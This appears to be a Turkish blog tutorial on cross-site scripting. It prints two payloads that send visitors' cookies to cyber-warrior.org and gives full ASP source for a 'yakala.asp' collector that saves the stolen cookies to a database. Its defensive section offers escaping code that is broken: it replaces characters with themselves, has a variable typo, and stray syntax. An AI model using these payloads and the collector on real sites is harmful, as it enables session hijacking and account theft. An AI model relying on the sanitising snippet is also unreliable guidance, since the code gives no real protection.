XSS Açıkları ve Korunma Yöntemleri
XSS Açıkları Request ile kullanıcıdan alınan verilerin sayfa içinde Yazdırılması ile oluşur. Örneğin QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri.
hedefsite/Default.Asp?Page=1 yada
hedefsite/Product.Asp?id=1
hedefsite/Default.Asp?Kategori=Haber gibi.
Örnek XSS Açığı ile Ne yapılabilir :
Yukardaki örnekler gibi açığımızı buluyoruz yada hedef sitede Webservis sayaç kodunun olması yeterli.
Açığımızı bulduktan sonra kullanıcının Cookie'sini JavaScript (document.cookie) ile okuyup istediğimiz bir adresteki veri tabanına kayıt ediyoruz yada kendimize mail atıyoruz.
-------------------------
hedefsite.com/Default.Asp?Page=2"><SCRIPT>location.href='http://www.cyber-warrior.org/yakala.asp?X='+escape(document.cookie)</SCRIPT>
-------------------------
Saldırgan Url’nin sonuna "> Eklentisi ile Inputların sonlandırılmasını ve bundan sonra eklenen zararlı kodları Explorer’ın icra etmesini sağlar.
Bu Link’e tıklayan kullanıcının Cookie’si Belirtilen Kaynağa Post edilir.
Yada : Hedef sitede yazdığınız mesajı gösterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama
----------------------------
<script>document.location='http://www.cyber-warrior.org/yakala.asp?X=' +document.cookie</script>
----------------------------
Bu kod ilgili sayfada görüntülendiği anda sayfayı görüntüleyen kullanıcıların cookielerini alarak yakala.asp dosyasına veri tabanına kaydetmesi için gönderir.
Web Sayfanızda XSS açıkları kapatılmış Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açığı Oluşuyor.
WebServis Tarafından verilen ve Sitenize eklediğiniz;
------------------------------------
<script language="javascript"> var wuser="CWDoktoray", wbanner=11;</script>
<script language="javascript" src= "a target=_blank href=http://www.webservis.gen">http://www.webservis.gen.tr/sayac.js"></script>
-------------------------------------
XSS Açıklarını Engellemek için:
Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde temizleyin
Ve Request verilerini alırken mutlaka tam sayıya çevirin
Recid = CInt(Trim(Server.HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tırnak
Recid = Replace(Recid, Chr(10) , "") ’Satır Başı
Recid = Replace(Recid, Chr(34) , "") ’çift tırnak
---------------------------------------------------
ASP.NET ’de
web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ "
gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz
<System.Web>
<Pages validateRequest="True"></Pages>
</System.Web>
IPS Kullanıyor iseniz
Yeni imza yaratıp
Application Layer / HTTP / HTTP.URL_DECODED
Protokolüne;
’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz...
----------------------------------------------------------------------------------
Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanına kaydetmek için
Örnek Basit bir ASP Dosyası
X = Request.QueryString("X") Yerine
Veri URL’den geleceği için
X = Request.ServerVariables("HTTP_REFERER") de Kullanabilirsiniz.
"Yakala.mdb" adında bir database oluşturun "tblYakala" adında bir tablo ve "Sayfa" Adında (alan tipi Not) Oalcak şekilde Tasarlayın
--------------------Yakala.Asp-----------------------------------
<%
Dim X
X = Request.QueryString("X")
%>
<%
Dim ConnString,bag
ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("Yakala.mdb") & ";"
set bag = Server.CreateObject("ADODB.Connection")
bag.Open ConnString
%>
<%
Dim SQL,Rs
Set Rs=Server.CreateObject("ADODB.Recordset")
SQL="Select * From tblYakala"
Rs.Open SQL,ConnString,1,3
End iF
%>
<%
Rs.AddNew
Rs("Sayfa")=X
Rs.Update
Rs.Close
%>
----------------------------------------------------------------------------------
Cyber-Security.Org / CWDoktoray
Anket
Son Konular
2011-12-14 21:47 - Sorgulamalar
2011-12-11 14:33 - Ben az önce ne arayacaktım
2011-09-10 22:51 - DSLR Fotograf Makinası sınıflandırması
2011-09-09 17:33 - ‘Crop Factor’ Nedir, hakkında bilgi
2011-09-09 17:30 - Fotograf Rehberi
2011-08-20 21:30 - Samsung LEDTV'lerde .SRF ve XFS süprizi
2011-08-19 00:45 - 2011 yılının web tasarım trendleri
2011-04-09 20:18 - Alan adları gerçek isim sahiplerine verilecek!
2011-01-13 01:43 - SEO İçin Dikkat Edilmesi Gereken Hususlar
2011-01-13 01:42 - Meta tag SEO Optimization
2011-01-13 01:41 - Google Adsense Hakkında Detaylı Bilgi
2011-01-13 01:40 - Soru Ve Cevaplar ile Google Adsense
2011-01-13 01:39 - Arama motoru Google ve Pagerank
2011-01-13 01:38 - Seo Sözlüğü
2011-01-13 01:37 - Google Arama Özellikleri
2011-01-13 01:36 - Adsense Reklam Yerleşimi
2011-01-13 01:35 - Robots.txt Dosyası Kullanım Robotları Yölendirme Kontrol
2011-01-13 01:34 - Sitenizin Google ve Web deki Yeri
2011-01-13 01:33 - Arama Motoru Bilgi ve İpuçları
2011-01-13 01:31 - Arama Motorları Teknikleri
2011-01-13 01:29 - Google Pagerank Detaylı Anlatım
2011-01-13 01:27 - Sitenize Ziyaretçiler En Çok Hangi Kelimeler İle Gelmiş
2011-01-13 01:25 - Pagerank Nedir?
2011-01-13 01:19 - Fireworks Shadow and Glow
2011-01-13 01:18 - Fireworks Sharpen
2011-01-13 01:16 - Fireworks Other
2011-01-13 01:13 - Fireworks Blur
2011-01-13 01:09 - Fireworks Bevel and Emboss
2011-01-13 01:05 - Fireworks Adjust Color
2011-01-13 01:03 - Fireworks Save as Style
2011-01-13 00:58 - Fireworks Text Menüsü
2011-01-13 00:54 - Fireworks Select Menüsü
2011-01-13 00:54 - Fireworks Modify Menüsü
2011-01-13 00:51 - Fireworks View Menüsü
2011-01-13 00:18 - Fireworks Edit Menüsü
2011-01-13 00:16 - Fireworks File Menüsü
2011-01-13 00:05 - İnternet - Web Tarayıcılar (Browser)
2011-01-13 00:04 - İnternet - Web Server Yazılımları
2011-01-13 00:03 - İnternet ve Web İlişkisi
2011-01-13 00:02 - İnternette Kullanılan Protokoller
2011-01-13 00:01 - İnternet - World Wide Web (WWW) Nedir?
2011-01-13 00:00 - İnternet - URL nedir?
2011-01-12 23:43 - İnternet Backorder Nedir?
2011-01-12 23:34 - İnternet - Virüs Nedir?
2011-01-12 23:32 - İnternet Paypal nedir? Nasıl Kullanılır?
2011-01-12 23:31 - İnternet - DNS Nedir?
2011-01-12 23:29 - İnternet - FTP Nedir, Nasıl Kullanılır?
2011-01-12 23:21 - İnternet IP Gizleme
2011-01-12 23:18 - İnternet Dijital İmza Nedir?
Günün Konuları
c# . ajax . javascript . xmlhttprequest . xml . xmlhttprequest nedir . c# ile yazma . c# kod çalıştırma . while . c# kodları . integer . c# string . c# tipler . value . type . reference type . console . const . decimal . boolean . writelene . php tarihçesi . php5 . php ve değişkenler . değişkenler . php ile tarih ayarlamak . php ile saat ayarlamak . php ile saat verisi almak . php ile tarih verisi almak . php ile dosya oluşturmak . php ile dosya silmek . php ile dosya yazma . php ile ek yapma . get metodu . php ile formdan bilgi almak . ajax nedir . http . http istemleri . ajax örneği . ajax tarayıcı desteği . activexobject . ajax ile sunucuya istek göndermek . null . showhint . getxmlhttpobject . statechanged . ajax php örneği . ajax asp örneği . ajax html sayfası . c# doğuşu . c# programlama sanatı . c# atama işlemleri . c# kuralları . c# türlerin tanımlanması . int . programlama . c# program kodları . c# döngü . c# ile ekrana yazı yazdırmak . c# aritmetik . c# operatörler . c# int . casting . byte . c# console . c# konsoldan veri girişi . static void main . c# decimal veri tipi . c# kayar nokta verileri . IEEE . c# yazı biçimlendirme . currency . general . c# char . compareTo . equals . c# while döngüsü . c# for döngüsü . c# foreach döngüsü . döngüler .














Son yorumlar
2 days 5 hours önce
6 weeks 5 days önce
6 weeks 5 days önce
8 weeks 2 days önce
10 weeks 2 days önce
10 weeks 4 days önce
12 weeks 6 days önce
14 weeks 5 days önce
16 weeks 2 days önce
16 weeks 2 days önce